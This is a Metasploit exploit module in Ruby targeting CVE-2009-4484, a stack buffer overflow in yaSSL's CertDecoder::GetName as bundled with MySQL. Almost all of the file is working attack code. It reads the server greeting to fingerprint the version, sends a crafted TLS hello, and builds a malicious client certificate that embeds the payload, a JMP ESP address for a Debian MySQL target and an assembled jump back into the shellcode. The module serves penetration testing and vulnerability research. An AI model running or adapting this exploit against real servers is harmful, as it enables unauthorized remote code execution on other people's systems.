##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier)
        implementation bundled with MySQL. By sending a specially crafted
        client certificate, an attacker can execute arbitrary code.

        This vulnerability is present within the CertDecoder::GetName function inside
        "taocrypt/src/asn.cpp". However, the stack buffer that is written to exists
        within a parent function's stack frame.

        NOTE: This vulnerability requires a non-default configuration. First, the attacker
        must be able to pass the host-based authentication. Next, the server must be
        configured to listen on an accessible network interface.  Lastly, the server
        must have been manually configured to use SSL.

        The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing
        on Windows XP SP3, these protections successfully prevented exploitation.

        Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is
        present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary
        package were not exploitable due to the use of the compiler's FORTIFY feature.

        Although suse11 was mentioned in the original blog post, the binary package they
        provide does not contain yaSSL or support SSL.
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-4484' ],
          [ 'BID', '37640' ],
          [ 'BID', '37943' ],
          [ 'BID', '37974' ],
          [ 'OSVDB', '61956' ],
          [ 'URL', 'http://secunia.com/advisories/38344/' ]
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 1046,
          'BadChars' => "",
          'StackAdjustment' => -3500,
          'DisableNops' => true
        },
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)',  { 'JmpEsp' => 0x0807dc34 } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 25 2010'))

    register_options([ Opt::RPORT(3306) ], self)
  end

  def exploit

    connect

    # read the mysql server hello :)
    version = nil
    if (buf = sock.get_once(-1, 5) || '')
      #print_status("\n" + Rex::Text.to_hex_dump(buf))
      if (buf =~ /is not allowed to connect/)
        fail_with(Failure::Unreachable, 'The server refused our connection!')
      end

      len1,cmd = buf[0,5].unpack('VC')
      rest = buf[5,len1]
      idx = rest.index("\x00")
      if (idx)
        version = rest[0,idx]
        print_status("Server reports version: #{version}")
      end
    end

    # handle automatic target selection
    mytarget = nil
    if (target.name =~ /Automatic/)
      print_status("Attempting to locate a corresponding target")
      version = "(" + version + ")"
      targets.each { |tgt|
        if (tgt.name.include?(version))
          mytarget = tgt
        end
      }

      if (not mytarget)
        fail_with(Failure::NoTarget, 'Unable to detect target automatically')
      else
        print_status("Using automatically detected target: #{mytarget.name}")
      end
    else
      mytarget = target
      print_status("Trying target #{mytarget.name}...")
    end

    # create/send the hello packet
    hello = [0x01000020].pack('V')
    hello << "\x85\xae\x03\x00"+"\x00\x00\x00\x01"+"\x08\x00\x00\x00"
    hello << "\x00" * 20
    hello << "\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1"
    hello << "\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5"
    hello << "\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39"
    hello << "\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f"
    hello << "\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12"
    hello << "\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06"
    hello << "\x00\x03\x02\x01\x00"
    sock.put(hello)


    # build a cn that will trigger the vulnerability
    cn = rand_text(payload_space - payload.encoded.length)
    cn << payload.encoded
    cn << [0,0].pack('VV') # memset(x,0,0); (this is x and the length)
    # NOTE: x in above (also gets passed to free())
    pad = 1074 - payload_space
    cn << rand_text(pad)
    cn << [mytarget['JmpEsp']].pack('V')
    distance = 4 + pad + 8 + payload.encoded.length
    cn << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

    cert = "\x2a\x86\x00\x84"
    cert << [cn.length].pack('N')
    cert << cn
    cert = "\x30"+
      "\x82\x01\x01"+
      "\x31"+
      "\x82\x01\x01"+
      "\x30"+
      "\x82\x01\x01"+
      "\x06"+
      "\x82\x00\x02" +
      cert

    cert = "\xa0\x03" +
      "\x02\x01\x02" +
      "\x02\x01\x00" +
      "\x30" + "\x0d" + "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00" +
      cert

    # wrap in 2 sequences
    cert = SNMP::BER.encode_tlv(0x30, cert)
    cert = SNMP::BER.encode_tlv(0x30, cert)

    cert1 = big_endian_24bit(cert.length) + cert
    certs = big_endian_24bit(cert1.length) + cert1

    handshake = "\x0b" +  big_endian_24bit(certs.length) + certs
    msg = "\x16\x03\x01"
    msg << [handshake.length].pack('n')
    msg << handshake

    sock.put(msg)

    handler
    disconnect
  end


  def big_endian_24bit(len)
    uno = (len >> 16) & 0xff
    dos = (len >> 8) & 0xff
    tre = len & 0xff
    [uno,dos,tre].pack('C*')
  end
end
